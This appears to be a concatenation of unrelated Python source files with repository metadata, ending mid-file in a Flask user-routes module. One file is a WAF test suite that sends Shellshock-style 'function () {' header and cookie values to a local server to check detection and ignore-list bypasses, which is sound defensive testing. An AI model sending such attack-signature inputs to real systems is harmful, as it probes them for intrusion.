2022-03-18T14:37:01.000Z

roblox/partials/partialgroup.py

speer-kinjo/ro.py

2d5b80aec8fd143b11101fbbfdf3b557f798a27f

[ "MIT" ]

21

2021-10-20T16:36:55.000Z

2022-03-27T21:43:53.000Z

""" This file contains partial objects related to Roblox groups. """ from __future__ import annotations from typing import TYPE_CHECKING from ..bases.basegroup import BaseGroup from ..bases.baseuser import BaseUser if TYPE_CHECKING: from ..client import Client class AssetPartialGroup(BaseGroup): """ Represents a partial group in the context of a Roblox asset. Intended to parse the `data[0]["creator"]` data from https://games.roblox.com/v1/games. Attributes: _client: The Client object, which is passed to all objects this Client generates. id: The group's name. creator: The group's owner. name: The group's name. """ def __init__(self, client: Client, data: dict): """ Arguments: client: The Client. data: The data from the endpoint. """ self._client: Client = client self.creator: BaseUser = BaseUser(client=client, user_id=data["Id"]) self.id: int = data["CreatorTargetId"] self.name: str = data["Name"] super().__init__(client, self.id) def __repr__(self): return f"<{self.__class__.__name__} id={self.id} name={self.name!r}>" class UniversePartialGroup(BaseGroup): """ Represents a partial group in the context of a Roblox universe. Attributes: _data: The data we get back from the endpoint. _client: The client object, which is passed to all objects this client generates. id: Id of the group name: Name of the group """ def __init__(self, client: Client, data: dict): """ Arguments: client: The ClientSharedObject. data: The data from the endpoint. """ self._client: Client = client self.id = data["id"] self.name: str = data["name"] super().__init__(client, self.id) def __repr__(self): return f"<{self.__class__.__name__} id={self.id} name={self.name!r}>"

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1,990

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92

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false

0

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0.565217

0

null

0

null

0

1

0

1

c75e39b34cd2c6335e68141ae306111fa4b684be

10,238

py

Python

tests/blackbox/access_settings/test_bb_access_settings.py

csanders-git/waflz

ec8fc7c845f20a2a8c757d13845ba22a6d7c5b28

[ "Apache-2.0" ]

1

2019-03-16T09:02:58.000Z

tests/blackbox/access_settings/test_bb_access_settings.py

csanders-git/waflz

ec8fc7c845f20a2a8c757d13845ba22a6d7c5b28

[ "Apache-2.0" ]

null

tests/blackbox/access_settings/test_bb_access_settings.py

csanders-git/waflz

ec8fc7c845f20a2a8c757d13845ba22a6d7c5b28

[ "Apache-2.0" ]

1

2021-04-22T09:43:46.000Z

#!/usr/bin/python '''Test WAF Access settings''' #TODO: make so waflz_server only runs once and then can post to it # ------------------------------------------------------------------------------ # Imports # ------------------------------------------------------------------------------ import pytest import subprocess import os import sys import json from pprint import pprint import time import requests # ------------------------------------------------------------------------------ # Constants # ------------------------------------------------------------------------------ G_TEST_HOST = 'http://127.0.0.1:12345/' # ------------------------------------------------------------------------------ # globals # ------------------------------------------------------------------------------ g_server_pid = -1 # ------------------------------------------------------------------------------ # # ------------------------------------------------------------------------------ def run_command(command): p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = p.communicate() return (p.returncode, stdout, stderr) # ------------------------------------------------------------------------------ #setup_func # ------------------------------------------------------------------------------ @pytest.fixture() def setup_func(): global g_server_pid l_cwd = os.getcwd() l_file_path = os.path.dirname(os.path.abspath(__file__)) l_ruleset_path = os.path.realpath(os.path.join(l_file_path, '../../data/waf/ruleset')) l_geoip2city_path = os.path.realpath(os.path.join(l_file_path, '../../data/waf/db/GeoLite2-City.mmdb')); l_geoip2ISP_path = os.path.realpath(os.path.join(l_file_path, '../../data/waf/db/GeoLite2-ASN.mmdb')); l_profile_path = os.path.realpath(os.path.join(l_file_path, 'test_bb_access_settings.waf.prof.json')) l_waflz_server_path = os.path.abspath(os.path.join(l_file_path, '../../../build/util/waflz_server/waflz_server')) l_subproc = subprocess.Popen([l_waflz_server_path, '-f', l_profile_path, '-r', l_ruleset_path, '-g', l_geoip2city_path, '-s', l_geoip2ISP_path]) time.sleep(1) g_server_pid = l_subproc.pid time.sleep(1) print 'setup g_server_pid: %d'%(g_server_pid) time.sleep(1) # ------------------------------------------------------------------------------ #teardown_func # ------------------------------------------------------------------------------ def teardown_func(): global g_server_pid time.sleep(.5) print 'teardown g_server_pid: %d'%(g_server_pid) if g_server_pid != -1: l_code, l_out, l_err = run_command('kill -9 %d'%(g_server_pid)) time.sleep(.5) # ------------------------------------------------------------------------------ # test_bb_modsecurity_ec_access_settings_ignore_args # ------------------------------------------------------------------------------ def test_bb_modsec_ec_access_settings_01_block_not_in_ignore_args(setup_func): #"ignore_query_args": ["ignore", "this", "crap"] l_uri = G_TEST_HOST + '?' + 'arg1&arg2&arg3&arg4&arg5' l_headers = {"host": "myhost.com"} l_r = requests.get(l_uri, headers=l_headers) assert l_r.status_code == 200 l_r_json = l_r.json() assert len(l_r_json) > 0 print json.dumps(l_r_json,indent=4) assert l_r_json['rule_intercept_status'] == 403 #assert 'modsecurity_crs_23_request_limits.conf' in l_r_json['sub_event'][0]['rule_file'] # ensure 403 because exceeded max_num_args assert 'Too many arguments in' in l_r_json['rule_msg'] # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_02_bypass_in_ignore_args # ------------------------------------------------------------------------------ def test_bb_modsec_ec_access_settings_02_bypass_in_ignore_args(): #Test that passing ignore args lets it bypass #Max arg limit it 4, we pass 7 l_uri = G_TEST_HOST + '?' + 'arg1&arg2&arg3&arg4&ignore&this&crap' l_headers = {"host": "myhost.com"} l_r = requests.get(l_uri, headers=l_headers) assert l_r.status_code == 200 l_r_json = l_r.json() assert len(l_r_json) == 0 # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_03_block_headers_not_in_ignore_header_list # ------------------------------------------------------------------------------ def test_bb_modsec_ec_access_settings_03_block_headers_not_in_ignore_header_list(): #ignore_header": ["(?i)(benign-header)", "super-whatever-header", "^D.*"] l_uri = G_TEST_HOST l_headers = {"host": "myhost.com", "kooky-Header" : "function () { doing this is kinda dumb" } l_r = requests.get(l_uri, headers=l_headers) assert l_r.status_code == 200 l_r_json = l_r.json() print l_r_json #We got an event assert len(l_r_json) > 0 # detect a bash shellshock assert 'Bash shellshock attack detected' in l_r_json['sub_event'][0]['rule_msg'] assert 'REQUEST_HEADERS' in l_r_json['sub_event'][0]['matched_var']['name'] assert 'ZnVuY3Rpb24gKCkgeyBkb2luZyB0aGlzIGlzIGtpbmRhIGR1bWI=' in l_r_json['sub_event'][0]['matched_var']['value'] # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_04_bypass_headers_in_ignore_header_list # ------------------------------------------------------------------------------ def test_bb_modsec_ec_access_settings_04_bypass_headers_in_ignore_header_list(): #Test ignore headers are ignored l_uri = G_TEST_HOST l_headers = {"host": "myhost.com", "Benign-Header" : "function () { doing this is kinda dumb", "super-whatever-header" : "function () { doing this is kinda dumb" } l_r = requests.get(l_uri, headers=l_headers) assert l_r.status_code == 200 l_r_json = l_r.json() assert len(l_r_json) == 0 # ------------------------------------------------------------------------------- # test_bb_modsec_ec_access_settings_05_bypass_headers_in_ignore_header_list_regex # ------------------------------------------------------------------------------- def test_bb_modsec_ec_access_settings_05_bypass_headers_in_ignore_header_list_regex(): ######################################## # Test regex "^D.*" ######################################## l_uri = G_TEST_HOST #anything that starts with D should be ignored l_headers = {"host": "myhost.com", "Doopdoop" : "function () { doing this is kinda dumb", "Duper-duper-deader" : "function () { doing this is kinda dumb" } l_r = requests.get(l_uri, headers=l_headers) assert l_r.status_code == 200 l_r_json = l_r.json() assert len(l_r_json) == 0 # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_06_block_cookie_not_in_ignore_cookie_list # ------------------------------------------------------------------------------ def test_bb_modsec_ec_access_settings_06_block_cookie_not_in_ignore_cookie_list(): #"ignore_cookie": ["(?i)(sketchy_origin)", "(?i)(yousocrazy)"] l_uri = G_TEST_HOST l_headers = {"host": "myhost.com", "Cookie": "blahblah=function () { asdf asdf asdf" } l_r = requests.get(l_uri, headers=l_headers) assert l_r.status_code == 200 l_r_json = l_r.json() assert len(l_r_json) > 0 # detect a bash shellshock assert 'Bash shellshock attack detected' in l_r_json['sub_event'][0]['rule_msg'] assert 'REQUEST_HEADERS' in l_r_json['sub_event'][0]['matched_var']['name'] # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_07_bypass_cookie_in_ignore_cookie_list # ------------------------------------------------------------------------------ def test_bb_modsec_ec_access_settings_07_bypass_cookie_in_ignore_cookie_list(): #"ignore_cookie": ["(?i)(sketchy_origin)", "(?i)(yousocrazy)"] l_uri = G_TEST_HOST l_headers = {"host" : "myhost.com", "Cookie" : "SkeTchy_Origin=function () { asdf asdf asdf" } l_r = requests.get(l_uri, headers=l_headers) assert l_r.status_code == 200 l_r_json = l_r.json() #We get no event assert len(l_r_json) == 0 l_uri = G_TEST_HOST l_headers = {"host" : "myhost.com", "Cookie" : "SkeTchy_Origin=function () { asdf asdf asdf" } l_r = requests.get(l_uri, headers=l_headers) assert l_r.status_code == 200 l_r_json = l_r.json() assert len(l_r_json) == 0 # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_08_ignore_cookie_in_ignore_cookie_list # ------------------------------------------------------------------------------ def test_bb_modsec_ec_access_settings_08_bypass_cookie_in_ignore_cookie_list_regex(): ######################################## # Test regex "^[0-9_].*$" ######################################## l_uri = G_TEST_HOST l_headers = {"host" : "myhost.com", "Cookie" : "0_123_ADB__bloop=function () { asdf asdf asdf" } l_r = requests.get(l_uri, headers=l_headers) assert l_r.status_code == 200 l_r_json = l_r.json() assert len(l_r_json) == 0 # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_09_block_disallowed_http_method # ------------------------------------------------------------------------------ def test_bb_modsec_ec_access_settings_09_block_disallowed_http_method(): l_uri = G_TEST_HOST l_headers = {"host" : "myhost.com" } l_r = requests.put(l_uri, headers=l_headers) assert l_r.status_code == 200 l_r_json = l_r.json() assert len(l_r_json) > 0 assert 'Method is not allowed by policy' in l_r_json['rule_msg'] teardown_func()

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null

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1

c75ec65b0817a875da33fd517bd4f04f459ffba4

2,852

py

Python

cosmosis/runtime/analytics.py

ktanidis2/Modified_CosmoSIS_for_galaxy_number_count_angular_power_spectra

07e5d308c6a8641a369a3e0b8d13c4104988cd2b

[ "BSD-2-Clause" ]

1

2021-09-15T10:10:26.000Z

cosmosis/runtime/analytics.py

ktanidis2/Modified_CosmoSIS_for_galaxy_number_count_angular_power_spectra

07e5d308c6a8641a369a3e0b8d13c4104988cd2b

[ "BSD-2-Clause" ]

null

cosmosis/runtime/analytics.py

ktanidis2/Modified_CosmoSIS_for_galaxy_number_count_angular_power_spectra

07e5d308c6a8641a369a3e0b8d13c4104988cd2b

[ "BSD-2-Clause" ]

1

2021-06-11T15:29:43.000Z

#coding: utf-8 from __future__ import print_function from builtins import zip from builtins import object from cosmosis import output as output_module import numpy as np import sys import os class Analytics(object): def __init__(self, params, pool=None): self.params = params self.pool = pool self.total_steps = 0 nparam = len(params) self.means = np.zeros(nparam) self.m2 = np.zeros(nparam) self.cov_times_n = np.zeros((nparam,nparam)) def add_traces(self, traces): if traces.shape[1] != len(self.params): raise RuntimeError("The number of traces added to Analytics " "does not match the number of varied " "parameters!") num = float(self.total_steps) for x in traces: num += 1.0 delta = x - self.means old_means = self.means.copy() self.means += delta/num self.m2 += delta*(x - self.means) self.cov_times_n += np.outer(x-self.means, x-old_means) self.total_steps += traces.shape[0] def trace_means(self): if self.pool: return np.array(self.pool.gather(self.means)).T else: return self.means def trace_variances(self): if self.total_steps > 1: local_variance = self.m2 / float(self.total_steps-1) if self.pool: return np.array(self.pool.gather(local_variance)).T else: return local_variance return None def gelman_rubin(self, quiet=True): # takes current traces and returns if self.pool is None or not self.pool.size > 1: raise RuntimeError("Gelman-Rubin statistic is only " "valid for multiple chains.") if self.total_steps == 0: raise RuntimeError("Gelman-Rubin statistic not " "defined for 0-length chains.") # gather trace statistics to master process means = self.trace_means() variances = self.trace_variances() if self.pool.is_master(): B_over_n = np.var(means, ddof=1, axis=1) B = B_over_n * self.total_steps W = np.mean(variances, axis=1) V = ((1. - 1./self.total_steps) * W + (1. + 1./self.pool.size) * B_over_n) # TODO: check for 0-values in W Rhat = np.sqrt(V/W) else: Rhat = None Rhat = self.pool.bcast(Rhat) if not quiet and self.pool.is_master(): print() print("Gelman-Rubin:") for (p,R) in zip(self.params, Rhat): print(" ", p, " ", R) print("Worst = ", Rhat.max()) print() return Rhat

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null

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1

c7675ba7953da5231174f58bf3d8e9f9039a7d72

5,668

py

Python

sdk/python/pulumi_aws_native/workspaces/get_workspace.py

pulumi/pulumi-aws-native

1ae4a4d9c2256b2a79ca536f8d8497b28d10e4c3

[ "Apache-2.0" ]

29

2021-09-30T19:32:07.000Z

2022-03-22T21:06:08.000Z

sdk/python/pulumi_aws_native/workspaces/get_workspace.py

pulumi/pulumi-aws-native

1ae4a4d9c2256b2a79ca536f8d8497b28d10e4c3

[ "Apache-2.0" ]

232

2021-09-30T19:26:26.000Z

2022-03-31T23:22:06.000Z

sdk/python/pulumi_aws_native/workspaces/get_workspace.py

pulumi/pulumi-aws-native

1ae4a4d9c2256b2a79ca536f8d8497b28d10e4c3

[ "Apache-2.0" ]

4

2021-11-10T19:42:01.000Z

2022-02-05T10:15:49.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs __all__ = [ 'GetWorkspaceResult', 'AwaitableGetWorkspaceResult', 'get_workspace', 'get_workspace_output', ] @pulumi.output_type class GetWorkspaceResult: def __init__(__self__, bundle_id=None, directory_id=None, id=None, root_volume_encryption_enabled=None, tags=None, user_volume_encryption_enabled=None, volume_encryption_key=None, workspace_properties=None): if bundle_id and not isinstance(bundle_id, str): raise TypeError("Expected argument 'bundle_id' to be a str") pulumi.set(__self__, "bundle_id", bundle_id) if directory_id and not isinstance(directory_id, str): raise TypeError("Expected argument 'directory_id' to be a str") pulumi.set(__self__, "directory_id", directory_id) if id and not isinstance(id, str): raise TypeError("Expected argument 'id' to be a str") pulumi.set(__self__, "id", id) if root_volume_encryption_enabled and not isinstance(root_volume_encryption_enabled, bool): raise TypeError("Expected argument 'root_volume_encryption_enabled' to be a bool") pulumi.set(__self__, "root_volume_encryption_enabled", root_volume_encryption_enabled) if tags and not isinstance(tags, list): raise TypeError("Expected argument 'tags' to be a list") pulumi.set(__self__, "tags", tags) if user_volume_encryption_enabled and not isinstance(user_volume_encryption_enabled, bool): raise TypeError("Expected argument 'user_volume_encryption_enabled' to be a bool") pulumi.set(__self__, "user_volume_encryption_enabled", user_volume_encryption_enabled) if volume_encryption_key and not isinstance(volume_encryption_key, str): raise TypeError("Expected argument 'volume_encryption_key' to be a str") pulumi.set(__self__, "volume_encryption_key", volume_encryption_key) if workspace_properties and not isinstance(workspace_properties, dict): raise TypeError("Expected argument 'workspace_properties' to be a dict") pulumi.set(__self__, "workspace_properties", workspace_properties) @property @pulumi.getter(name="bundleId") def bundle_id(self) -> Optional[str]: return pulumi.get(self, "bundle_id") @property @pulumi.getter(name="directoryId") def directory_id(self) -> Optional[str]: return pulumi.get(self, "directory_id") @property @pulumi.getter def id(self) -> Optional[str]: return pulumi.get(self, "id") @property @pulumi.getter(name="rootVolumeEncryptionEnabled") def root_volume_encryption_enabled(self) -> Optional[bool]: return pulumi.get(self, "root_volume_encryption_enabled") @property @pulumi.getter def tags(self) -> Optional[Sequence['outputs.WorkspaceTag']]: return pulumi.get(self, "tags") @property @pulumi.getter(name="userVolumeEncryptionEnabled") def user_volume_encryption_enabled(self) -> Optional[bool]: return pulumi.get(self, "user_volume_encryption_enabled") @property @pulumi.getter(name="volumeEncryptionKey") def volume_encryption_key(self) -> Optional[str]: return pulumi.get(self, "volume_encryption_key") @property @pulumi.getter(name="workspaceProperties") def workspace_properties(self) -> Optional['outputs.WorkspaceProperties']: return pulumi.get(self, "workspace_properties") class AwaitableGetWorkspaceResult(GetWorkspaceResult): # pylint: disable=using-constant-test def __await__(self): if False: yield self return GetWorkspaceResult( bundle_id=self.bundle_id, directory_id=self.directory_id, id=self.id, root_volume_encryption_enabled=self.root_volume_encryption_enabled, tags=self.tags, user_volume_encryption_enabled=self.user_volume_encryption_enabled, volume_encryption_key=self.volume_encryption_key, workspace_properties=self.workspace_properties) def get_workspace(id: Optional[str] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetWorkspaceResult: """ Resource Type definition for AWS::WorkSpaces::Workspace """ __args__ = dict() __args__['id'] = id if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('aws-native:workspaces:getWorkspace', __args__, opts=opts, typ=GetWorkspaceResult).value return AwaitableGetWorkspaceResult( bundle_id=__ret__.bundle_id, directory_id=__ret__.directory_id, id=__ret__.id, root_volume_encryption_enabled=__ret__.root_volume_encryption_enabled, tags=__ret__.tags, user_volume_encryption_enabled=__ret__.user_volume_encryption_enabled, volume_encryption_key=__ret__.volume_encryption_key, workspace_properties=__ret__.workspace_properties) @_utilities.lift_output_func(get_workspace) def get_workspace_output(id: Optional[pulumi.Input[str]] = None, opts: Optional[pulumi.InvokeOptions] = None) -> pulumi.Output[GetWorkspaceResult]: """ Resource Type definition for AWS::WorkSpaces::Workspace """ ...

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0.283019

0

null

0

1

0

null

0

1

c768fa044e6b10f72fbfbfa85435ada393a83af3

673

py

Python

tests/test_distance.py

mkclairhong/quail

a6d6502746c853518a670d542222eb5fc2b05542

[ "MIT" ]

1

2018-05-30T15:33:26.000Z

tests/test_distance.py

mkclairhong/quail

a6d6502746c853518a670d542222eb5fc2b05542

[ "MIT" ]

null

tests/test_distance.py

mkclairhong/quail

a6d6502746c853518a670d542222eb5fc2b05542

[ "MIT" ]

null

# -*- coding: utf-8 -*- from quail.distance import * import numpy as np import pytest from scipy.spatial.distance import cdist def test_match(): a = 'A' b = 'B' assert np.equal(match(a, b), 1) def test_euclidean_list(): a = [0, 1, 0] b = [0, 1, 0] assert np.equal(euclidean(a, b), 0) def test_euclidean_array(): a = np.array([0, 1, 0]) b = np.array([0, 1, 0]) assert np.equal(euclidean(a, b), 0) def test_correlation_list(): a = [0, 1, 0] b = [0, 1, 0] assert np.equal(correlation(a, b), 1) def test_correlation_array(): a = np.array([0, 1, 0]) b = np.array([0, 1, 0]) assert np.equal(correlation(a, b), 1)

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0.041885

0.557592

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673

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null

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null

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1

c76ca1375282328ef3e6038f93b1edf1d46d7f49

1,728

py

Python

af/shovel/test_canning.py

mimi89999/pipeline

3e9eaf74c0966df907a230fbe89407c2bbc3d930

[ "BSD-3-Clause" ]

null

af/shovel/test_canning.py

mimi89999/pipeline

3e9eaf74c0966df907a230fbe89407c2bbc3d930

[ "BSD-3-Clause" ]

null

af/shovel/test_canning.py

mimi89999/pipeline

3e9eaf74c0966df907a230fbe89407c2bbc3d930

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python2.7 import unittest import canning class TestNop(unittest.TestCase): def test_nop(self): canning.NopTeeFd.write("asdf") class TestSlice(unittest.TestCase): REPORT = "20130505T065614Z-VN-AS24173-dns_consistency-no_report_id-0.1.0-probe.yaml" @staticmethod def rpt(year): assert year < 10000 return "{:04d}1231T065614Z-VN-AS24173-dns_consistency-no_report_id-0.1.0-probe.yaml".format( year ) def test_empty(self): asis, tarfiles = canning.pack_bucket(tuple()) self.assertFalse(asis) self.assertFalse(tarfiles) def test_badname(self): self.assertRaises(RuntimeError, canning.pack_bucket, [("foo", 42)]) self.assertRaises( RuntimeError, canning.pack_bucket, [("2013-05-05/" + self.REPORT, 42)] ) def test_single(self): for sz in [0, 1, 65 * 1048576]: asis, tarfiles = canning.pack_bucket([(self.REPORT, sz)]) self.assertEqual(asis, [self.REPORT]) self.assertFalse(tarfiles) def test_packing(self): asis, tarfiles = canning.pack_bucket( [(self.rpt(0), 42), (self.rpt(1), 64), (self.rpt(2), 64 * 1048576)] ) self.assertEqual(asis, [self.rpt(2)]) self.assertEqual(tarfiles, {"dns_consistency.0.tar": map(self.rpt, (0, 1))}) def test_stupid(self): # FIXME: is it really good behaviour?... asis, tarfiles = canning.pack_bucket( [(self.rpt(0), 42), (self.rpt(1), 64 * 1048576 - 1), (self.rpt(2), 64)] ) self.assertEqual(asis, map(self.rpt, (0, 1, 2))) self.assertEqual(tarfiles, {}) if __name__ == "__main__": unittest.main()

30.315789

100

0.609375

216

1,728

4.75

0.351852

0.061404

0.099415

0.089669

0.421053

0.339181

0.183236

0

0.085366

0.240741

1,728

56

101

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0.696646

0.03588

0

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0

0.02439

0.117188

0.101563

0

0.017857

0.268293

1

0.170732

false

0

0.04878

0

0.317073

0

null

0

null

0

1

0

1

c76e7fcaeb2193c977b2c4ee81febf00b7763cee

2,175

py

Python

gpytorch/models/approximate_gp.py

phumm/gpytorch

4e8042bcecda049956f8f9e823d82ba6340766d5

[ "MIT" ]

1

2019-09-30T06:51:03.000Z

gpytorch/models/approximate_gp.py

phumm/gpytorch

4e8042bcecda049956f8f9e823d82ba6340766d5

[ "MIT" ]

null

gpytorch/models/approximate_gp.py

phumm/gpytorch

4e8042bcecda049956f8f9e823d82ba6340766d5

[ "MIT" ]

1

2020-09-16T16:35:27.000Z

#!/usr/bin/env python3 from .gp import GP from .pyro import _PyroMixin # This will only contain functions if Pyro is installed class ApproximateGP(GP, _PyroMixin): def __init__(self, variational_strategy): super().__init__() self.variational_strategy = variational_strategy def forward(self, x): """ As in the exact GP setting, the user-defined forward method should return the GP prior mean and covariance evaluated at input locations x. """ raise NotImplementedError def pyro_guide(self, input, beta=1.0, name_prefix=""): """ (For Pyro integration only). The component of a `pyro.guide` that corresponds to drawing samples from the latent GP function. Args: :attr:`input` (:obj:`torch.Tensor`) The inputs :math:`\mathbf X`. :attr:`beta` (float, default=1.) How much to scale the :math:`\text{KL} [ q(\mathbf f) \Vert p(\mathbf f) ]` term by. :attr:`name_prefix` (str, default="") A name prefix to prepend to pyro sample sites. """ return super().pyro_guide(input, beta=beta, name_prefix=name_prefix) def pyro_model(self, input, beta=1.0, name_prefix=""): r""" (For Pyro integration only). The component of a `pyro.model` that corresponds to drawing samples from the latent GP function. Args: :attr:`input` (:obj:`torch.Tensor`) The inputs :math:`\mathbf X`. :attr:`beta` (float, default=1.) How much to scale the :math:`\text{KL} [ q(\mathbf f) \Vert p(\mathbf f) ]` term by. :attr:`name_prefix` (str, default="") A name prefix to prepend to pyro sample sites. Returns: :obj:`torch.Tensor` samples from :math:`q(\mathbf f)` """ return super().pyro_model(input, beta=beta, name_prefix=name_prefix) def __call__(self, inputs, prior=False, **kwargs): if inputs.dim() == 1: inputs = inputs.unsqueeze(-1) return self.variational_strategy(inputs, prior=prior)

38.157895

114

0.593563

276

2,175

4.568841

0.355072

0.079302

0.054718

0.042823

0.536082

0.496431

0.439334

0.374306

0

0.00584

0.291494

2,175

56

115

38.839286

0.812459

0.538391

0

1

0.294118

false

0

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0

0.647059

0

null

0

null

0

1

0

1

c774024668ea75381f4aedf887a584aaa227cbf7

320

py

Python

1stRound/Medium/322-Coin Change/DP.py

ericchen12377/Leetcode-Algorithm-Python

eb58cd4f01d9b8006b7d1a725fc48910aad7f192

[ "MIT" ]

2

2020-04-24T18:36:52.000Z

2020-04-25T00:15:57.000Z

1stRound/Medium/322-Coin Change/DP.py

ericchen12377/Leetcode-Algorithm-Python

eb58cd4f01d9b8006b7d1a725fc48910aad7f192

[ "MIT" ]

null

1stRound/Medium/322-Coin Change/DP.py

ericchen12377/Leetcode-Algorithm-Python

eb58cd4f01d9b8006b7d1a725fc48910aad7f192

[ "MIT" ]

null

class Solution: def coinChange(self, coins: List[int], amount: int) -> int: M = float('inf') # dynamic programming dp = [0] + [M] * amount for i in range(1, amount+1): dp[i] = 1 + min([dp[i-c] for c in coins if i >= c] or [M]) return dp[-1] if dp[-1] < M else -1

32

70

0.496875

52

320

3.057692

0.519231

0.037736

0

0.033019

0.3375

320

9

71

35.555556

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0

0.010033

0

1

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false

0

0.428571

0

null

0

1

0

null

0

1

c77943cb74b84356ac52ea818e7a35cca299778c

4,040

py

Python

tests/helpers.py

ws4/TopCTFd

3b1e25df1318e86ff163a0b546f6e9b7f8305a5a

[ "Apache-2.0" ]

1

2019-06-25T09:24:29.000Z

tests/helpers.py

ws4/TopCTFd

3b1e25df1318e86ff163a0b546f6e9b7f8305a5a

[ "Apache-2.0" ]

null

tests/helpers.py

ws4/TopCTFd

3b1e25df1318e86ff163a0b546f6e9b7f8305a5a

[ "Apache-2.0" ]

null

from CTFd import create_app from CTFd.models import * from sqlalchemy_utils import database_exists, create_database, drop_database from sqlalchemy.engine.url import make_url import datetime import six if six.PY2: text_type = unicode binary_type = str else: text_type = str binary_type = bytes def create_ctfd(ctf_name="CTFd", name="admin", email="admin@ctfd.io", password="password", setup=True): app = create_app('CTFd.config.TestingConfig') if setup: with app.app_context(): with app.test_client() as client: data = {} r = client.get('/setup') # Populate session with nonce with client.session_transaction() as sess: data = { "ctf_name": ctf_name, "name": name, "email": email, "password": password, "nonce": sess.get('nonce') } client.post('/setup', data=data) return app def destroy_ctfd(app): drop_database(app.config['SQLALCHEMY_DATABASE_URI']) def register_user(app, name="user", email="user@ctfd.io", password="password"): with app.app_context(): with app.test_client() as client: r = client.get('/register') with client.session_transaction() as sess: data = { "name": name, "email": email, "password": password, "nonce": sess.get('nonce') } client.post('/register', data=data) def login_as_user(app, name="user", password="password"): with app.app_context(): with app.test_client() as client: r = client.get('/login') with client.session_transaction() as sess: data = { "name": name, "password": password, "nonce": sess.get('nonce') } client.post('/login', data=data) return client def get_scores(user): scores = user.get('/scores') scores = json.loads(scores.get_data(as_text=True)) return scores['standings'] def gen_challenge(db, name='chal_name', description='chal_description', value=100, category='chal_category', type=0): chal = Challenges(name, description, value, category) db.session.add(chal) db.session.commit() return chal def gen_award(db, teamid, name="award_name", value=100): award = Awards(teamid, name, value) db.session.add(award) db.session.commit() return award def gen_tag(db, chal, tag='tag_tag'): tag = Tags(chal, tag) db.session.add(tag) db.session.commit() return tag def gen_file(): pass def gen_flag(db, chal, flag='flag', key_type=0): key = Keys(chal, flag, key_type) db.session.add(key) db.session.commit() return key def gen_team(db, name='name', email='user@ctfd.io', password='password'): team = Teams(name, email, password) db.session.add(team) db.session.commit() return team def gen_hint(db, chal, hint="This is a hint", cost=0, type=0): hint = Hints(chal, hint, cost, type) db.session.add(hint) db.session.commit() return hint def gen_solve(db, teamid, chalid, ip='127.0.0.1', flag='rightkey'): solve = Solves(teamid, chalid, ip, flag) solve.date = datetime.datetime.utcnow() db.session.add(solve) db.session.commit() return solve def gen_wrongkey(db, teamid, chalid, ip='127.0.0.1', flag='wrongkey'): wrongkey = WrongKeys(teamid, chalid, ip, flag) wrongkey.date = datetime.datetime.utcnow() db.session.add(wrongkey) db.session.commit() return wrongkey def gen_tracking(db, ip, team): tracking = Tracking(ip, team) db.session.add(tracking) db.session.commit() return tracking def gen_page(db, route, html): page = Pages(route, html) db.session.add(page) db.session.commit() return page

27.297297

117

0.592574

506

4,040

4.628459

0.209486

0.076857

0.051238

0.089667

0.272844

0.253202

0.204526

0.186166

0.128096

0

0.00789

0.278465

4,040

147

118

27.482993

0.79554

0.006683

0

0.292035

0

0.096485

0.011967

0

1

0.141593

false

0.079646

0.053097

0

0.309735

0

null

0

null

0

1

0

1

c77bfcd69447b6d8753b518a3930aaea586d8856

440

py

Python

support/views.py

bhagirath1312/ich_bau

d37fe7aa3379f312a4d8b5f3d4715dd334b9adb0

[ "Apache-2.0" ]

1

2021-11-25T19:37:01.000Z

support/views.py

bhagirath1312/ich_bau

d37fe7aa3379f312a4d8b5f3d4715dd334b9adb0

[ "Apache-2.0" ]

197

2017-09-06T22:54:20.000Z

2022-02-05T00:04:13.000Z

support/views.py

bhagirath1312/ich_bau

d37fe7aa3379f312a4d8b5f3d4715dd334b9adb0

[ "Apache-2.0" ]

2

2017-11-08T02:13:03.000Z

2020-09-30T19:48:12.000Z

from django.shortcuts import render, redirect from django.http import HttpResponseRedirect from .models import SupportProject # Create your views here. def index( request ): sp = SupportProject.objects.all() if sp.count() == 1: return HttpResponseRedirect( sp.first().project.get_absolute_url() ) else: context_dict = { 'sps' : sp, } return render( request, 'support/index.html', context_dict )

27.5

76

0.688636

51

440

5.862745

0.686275

0.06689

0

0.002874

0.209091

440

15

77

29.333333

0.856322

0.052273

0

0.050602

0

1

0.1

false

0

0.3

0

0.6

0

null

0

null

0

1

0

1

c77d8ee927213d5c37d334a8dc0c0e3d7493a2cf

2,221

py

Python

app/api/user_routes.py

nappernick/envelope

af4f574c04c51293b90ee2e09d0f95d12ca36d2c

[ "MIT" ]

2

2021-01-13T22:52:16.000Z

2021-01-29T18:37:51.000Z

app/api/user_routes.py

nappernick/envelope

af4f574c04c51293b90ee2e09d0f95d12ca36d2c

[ "MIT" ]

32

2021-01-08T19:05:33.000Z

2021-04-07T22:01:54.000Z

app/api/user_routes.py

nappernick/envelope

af4f574c04c51293b90ee2e09d0f95d12ca36d2c

[ "MIT" ]

null

from datetime import datetime from werkzeug.security import generate_password_hash from flask import Blueprint, jsonify, request from sqlalchemy.orm import joinedload from flask_login import login_required from app.models import db, User, Type from app.forms import UpdateUserForm from .auth_routes import authenticate, validation_errors_to_error_messages user_routes = Blueprint('users', __name__) @user_routes.route("/types") def types(): types = db.session.query(Type).all() return jsonify([type.name_to_id() for type in types]) @user_routes.route('/') @login_required def users(): users = db.session.query(User).all() return jsonify([user.to_dict_full() for user in users]) @user_routes.route('/<int:id>') @login_required def user(id): user = User.query.get(id) return user.to_dict() @user_routes.route('/<int:id>', methods=["DELETE"]) @login_required def user_delete(id): user = User.query.get(id) db.session.delete(user) db.session.commit() return { id: "Successfully deleted" } @user_routes.route('/<int:id>', methods=["POST"]) @login_required def user_update(id): user = 